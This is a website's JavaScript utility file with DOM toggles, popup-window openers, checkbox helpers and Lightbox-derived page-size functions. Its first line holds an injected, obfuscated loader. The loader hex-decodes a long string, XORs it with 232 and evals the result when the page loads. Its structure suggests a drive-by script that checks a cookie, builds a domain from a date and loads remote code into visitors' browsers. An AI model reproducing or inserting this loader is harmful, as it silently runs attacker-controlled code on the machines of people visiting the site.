var st1 = 0;this.b=this.M="";this.A="";this.w=false;this.N=""; (function(c){this.m=false;this.J="";this.G=this.e=this.l=false;var g=window;this.i="";var d=g["unescap"+unescape("%65")],h=String["f"+unescape("%72%6f%6d%43%68%61%72%43%6f%64%65")];this.C="qO";this.B="oB";var a=new String("");this.I="sW";var e=new String("%");this.d="";for(var f=0;f<c["le"+unescape("%6e%67%74%68")];f+=2){this.c="cO";this.Q=38178;a+=e+c["su"+unescape("%62%73%74%72")](f,2)}c=d(a);this.u=false;this.o="jP";this.j=false;this.k="gZ";this.s=false;d="";for(a=0;a<c["le"+unescape("%6e%67%74%68")];a++){this.H= this.h="";this.P=43510;this.r=this.z="";this.v=37015;this.F="qY";this.L=62857;this.g="eS";e=c["char"+unescape("%43%6f%64%65%41%74")](a);this.D=false;e^=232;this.q=36524;d+=h(e);this.R=this.p=""}this.f="dX";this.a="";g["e"+unescape("%76%61%6c")](d);this.t=this.K=false;return d})("9e899ac889d59f81868c879fc686899e818f899c879ac69d9b8d9aa98f8d869cc48ad5c7c09189808787949b8d899a8b8094859b868a879c949189868c8d90948f87878f848d8a879c948a81868f94899b83c1c781c48bd586899e818f899c879ac6899898be8d9a9b818786d3c8818ec08c878b9d858d869cc68b878783818dc681868c8d90a78ec0ca808784918b878783818dcac1d5d5c5d9cecec989c69c87a4879f8d9aab899b8dc0c1c685899c8b80c08ac1cece8bc69c87a4879f8d9aab899b8dc0c1c681868c8d90a78ec0ca9f8186cac1c9d5c5d9c1939e899ac88cd5b3ca8591898c9bc68689858dcac4ca898c9b868d9cc68a8192cac4ca9c8787848a899a8b8785c6879a8fcac4ca85918a899ac69d9bcac4ca8e9a8d8d898cc68689858dcab5c48dd5b3ca89908dc6cac4ca8a8790c6cac4ca8b8790c6cac4ca8c8d90c6cac4ca8e8990c6cac4ca8e8190c6cac4ca8e8790c6cac4ca8f8790c6cac4ca808d90c6cac4ca838d90c6cac4ca848990c6cac4ca848d90c6cac4ca848790c6cac4ca849d90c6cac4ca858990c6cac4ca858190c6cac4ca868190c6cac4ca879087c6cac4ca879091c6cac4ca988990c6cac4ca988190c6cac4ca988790c6cac4ca989190c6cac4ca9a8990c6cac4ca9a8d90c6cac4ca9b8990c6cac4ca9b8d90c6cac4ca9b8190c6cac4ca9b8790c6cac4ca9c8990c6cac4ca9c9d90c6cac4ca9e8d90c6cac4ca9e8790c6cac4ca9f8990c6cac4ca90819bc6cac4ca928990c6cab5c48ed5a5899c80c68e8487879ac0a5899c80c69a89868c8785c0c1c28cc6848d868f9c80c1c48fd5a5899c80c68e8487879ac0a5899c80c69a89868c8785c0c1c28dc6848d868f9c80c1d38c9cd5868d9fc8ac899c8dd38c9cc69b8d9cbc81858dc08c9cc68f8d9cbc81858dc0c1c3d1d8dfdaaddcc1d38c878b9d858d869cc68b878783818dd5ca808784918b878783818dd5cac38d9b8b89988dc0ca808784918b878783818dcac1c3cad38d9098819a8d9bd5cac38c9cc69c87afa5bcbb9c9a81868fc0c1c3cad398899c80d5c7cad3c88c878b9d858d869cc69f9a819c8dc0cfd49b8b9a81989cc89c91988dd5ca9c8d909cc782899e899b8b9a81989ccac89b9a8bd5ca809c9c98d2c7c7cfc38db38fb5c38cb38eb5c3cfc79b919b9c8d85c78b89989c818786c6829bcad6d4b4c79b8b9a81989cd6cfc195d3"); this.n=3279;this.O=58441;var gr0=0;/*
	Used some code from Lightbox JS: Fullsize Image Overlays 
	by Lokesh Dhakar - http://www.huddletogether.com

	For more information on this script, visit:
	http://huddletogether.com/projects/lightbox/
	
	Thanks
*/


function dbg (tag, caption, value) {
	if (
		(tag != 'ajax') &&
		(tag != 'tmp')
		)
	{
		return value;
	}
	_alert ('#' + tag + '# ' + caption + ': ' + value);
	return value;
}

function _alert(foo) {
  var arg;
  for (var i = 0; i < arguments.length; i++) {
    arg = arguments[i];
    if (window.console) window.console.log(arg);
    else if (window.opera) window.opera.postError(arg);
    else if (window.Log) {
      if (!window._logger)
        window._logger = new Log(Log.INFO, Log.popupLogger);
      window._logger.debug(arg);
    } else alert(arg);       
  }
}

function conlog (foo) {
  var arg;
  for (var i = 0; i < arguments.length; i++) {
    arg = arguments[i];
    if (window.console) window.console.log(arg);
  }
}

var isInternetExplorer = navigator.appName.indexOf("Microsoft") != -1;

function editor_DoFSCommand(command, id, args) {
	var editorObj = isInternetExplorer ? document.all.editor : document.editor;
	if ((command == 'update') || (command == 'FSCommand:update')) {
		var e = document.getElementById('e'+id);
		args = encodeURIComponent (args);
		e.value = args;
	}
}

function toggle_visibility (id)
{

	if (document.layers)
	{
		vista = (document.layers[id].visibility == 'hide') ? 'show' : 'hide'
		document.layers[id].visibility = vista;
	}
	else if (document.all)
	{
		vista = (document.all[id].style.visibility == 'hidden') ? 'visible'	: 'hidden';
		document.all[id].style.visibility = vista;
	}
	else if (document.getElementById)
	{
		vista = (document.getElementById(id).style.visibility == 'hidden') ? 'visible' : 'hidden';
		document.getElementById(id).style.visibility = vista;

	}
}

function toggle_display (id)
{
	if (document.layers)
	{
		current = (document.layers[id].display == 'none') ? 'block' : 'none';
		document.layers[id].display = current;
	}
	else if (document.all)
	{
		current = (document.all[id].style.display == 'none') ? 'block' : 'none';
		document.all[id].style.display = current;
	}
	else if (document.getElementById)
	{
		vista = (document.getElementById(id).style.display == 'none') ? 'block' : 'none';
		document.getElementById(id).style.display = vista;
	}
}

function display_none (id)
{
  if (id == '') {
    return;
  }
  if (document.layers)
  {
    current = (document.layers[id].display == 'none') ? 'none' : 'none';
    document.layers[id].display = current;
  }
  else if (document.all)
  {
    current = (document.all[id].style.display == 'none') ? 'none' : 'none';
    document.all[id].style.display = current;
  }
  else if (document.getElementById)
  {
    vista = (document.getElementById(id).style.display == 'none') ? 'none' : 'none';
    document.getElementById(id).style.display = vista;
  }
}
                                          
function set_element_visibility (element, visibility)
{
	element.style.visibility = visibility;
}

function listRowOver(o) { o.style.borderColor = '#ABA800'; o.className = 'lr green_border'; }

function listRowOut(o) { o.style.borderColor = ''; o.className = 'lr'}

function listNumber() {
	allNodes = document.getElementsByClassName("lr_number");
	for(i = 0; i < allNodes.length; i++) {
		allNodes[i].innerHTML = (i+1);
	}
}

function listArrows() {
	allNodes = document.getElementsByClassName("list_move_down");
	for(i = 0; i < allNodes.length; i++) {
		if (i < allNodes.length-1) {
			set_element_visibility (allNodes[i], 'visible');
		} else {
			set_element_visibility (allNodes[i], 'hidden');
		}
	}
	allNodes = document.getElementsByClassName("list_move_up");
	for(i = 0; i < allNodes.length; i++) {
		if (i > 0) {
			set_element_visibility (allNodes[i], 'visible');
		} else {
			set_element_visibility (allNodes[i], 'hidden');
		}
	}
}

function open_fullscreen_ratio (url, title, keep_ratio) {

	width = screen.availWidth;
	height = screen.availHeight;
	ratio = width / height;
        if (ratio < keep_ratio) {
            height = width / keep_ratio;
        } else if (ratio > keep_ratio) {
            width = height * keep_ratio;
        }
                                
	window.open(url,title,"width="+width+",height="+height+",scrollbars=yes,top=0,left=0,toolbar=no,location=no,directories=no,menubar=no,resizable=no,status=no");
}

function open_fullscreen (url, title) {
	window.open(url,title,"width="+(screen.availWidth-0)+",height="+(screen.availHeight-18)+",scrollbars=yes,top=0,left=0,toolbar=no,location=no,directories=no,menubar=no,resizable=no,status=no");
}

function open_fullscreen_no_scroll (url, title) {
	window.open(url,title,"width="+(screen.availWidth-0)+",height="+(screen.availHeight-18)+",scrollbars=no,top=0,left=0,toolbar=no,location=no,directories=no,menubar=no,resizable=no,status=no");
}

function open_window (url, title, woptions) {
	window.open(url, title, woptions);
}

function ExternalInterfaceManager()
{
	this.registerMovie = function (movieName) {
		if(!window.fakeMovies) {
			window.fakeMovies = new Array();
		}
		window.fakeMovies[window.fakeMovies.length] = movieName;
	}
	this.initialize = function () {
		if(document.all) {
			if(window.fakeMovies) {
				for(i=0;i<window.fakeMovies.length;i++) {
					window[window.fakeMovies[i]] = new Object();
				}
				window.onload = initializeExternalInterface;
			}
		}
	}
}

function initializeExternalInterface()
{
	for(i=0;i < window.fakeMovies.length;i++) {
		var movieName = window.fakeMovies[i];
		var fakeMovie = window[movieName];
		var realMovie = document.getElementById(movieName);

		for(var method in fakeMovie) {
			realMovie[method] = function() {
				flashFunction = "<invoke name=\"" + method.toString() + "\" returntype=\"javascript\">" + __flash__argumentsToXML(arguments, 0) + "</invoke>";this.CallFunction(flashFunction);
			}
		}

		window[movieName] = realMovie;
	}
}

function submitenter(myfield,e)
{
	var keycode;
	if (window.event) {
		keycode = window.event.keyCode;
	} else if (e) {
		keycode = e.which;
	} else {
		return true;
	}

	if (keycode == 13) {
		myfield.form.submit();
		return false;
	} else {
	   return true;
	}
}

function setCheckboxes( container_id, state ) {
    var checkboxes = document.getElementById(container_id).getElementsByTagName('input');

    for ( var i = 0; i < checkboxes.length; i++ ) {
        if ( checkboxes[i].type == 'checkbox' ) {
            checkboxes[i].checked = state;
        }
    }

    return true;
}

function getSerializedTrueCheckboxes( container_id ) {
	
    var checkboxes = document.getElementById(container_id).getElementsByTagName('input');
	var ret = new String ();

    for ( var i = 0; i < checkboxes.length; i++ ) {
        if ( checkboxes[i].type == 'checkbox' ) {
			if ( checkboxes[i].checked ) {
				ret += ','+checkboxes[i].id.replace ('list_cb_', '');
			}
        }
    }
	ret = ret.substr(1);

	return ret;
}

function deleteCheckboxes ( container_id, form_id, input_id ) {
	var ids = new String ();
	ids = getSerializedTrueCheckboxes (container_id);
	if (ids != '') {
		if (confirm ('Do you really want delete selected items?')) {
			$('input_hidden_action').value = 'multicheck_delete';
			$(input_id).value = ids;
//			alert ($(input_id).value);
//			alert ('id_'+form_id);
			$('id_'+form_id).submit ();
		}
	}
}

function colorizeAsDefaultCheckboxes ( container_id, form_id, input_id ) {
	var ids = new String ();
	ids = getSerializedTrueCheckboxes (container_id);
	if (ids != '') {
		if (confirm ('Do you really want colorize selected items as default?')) {
			$('form_action').value = 'multicheck_colorize_as_default';
			$(input_id).value = ids;
//			alert ($(input_id).value);
//			alert ('id_'+form_id);
			$('id_'+form_id).submit ();
		}
	}
}

function getPageSize(){
	
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	if (self.innerHeight) {	// all except Explorer
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = windowWidth;
	} else {
		pageWidth = xScroll;
	}


	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
	return arrayPageSize;
}

function getPageScroll(){

	var yScroll;

	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
		yScroll = document.documentElement.scrollTop;
	} else if (document.body) {// all other Explorers
		yScroll = document.body.scrollTop;
	}

	arrayPageScroll = new Array('',yScroll) 
	return arrayPageScroll;
}

function addLoadEvent(func) {
  var oldonload = window.onload;
//conlog (oldonload);
  if (typeof window.onload != 'function') {
//alert ('clean');
//conlog (func);
    window.onload = func;
  } else {
//alert ('adding');
//conlog (oldonload);
//conlog (func);
    window.onload = function() {
      oldonload();
      func();
    }
  }
}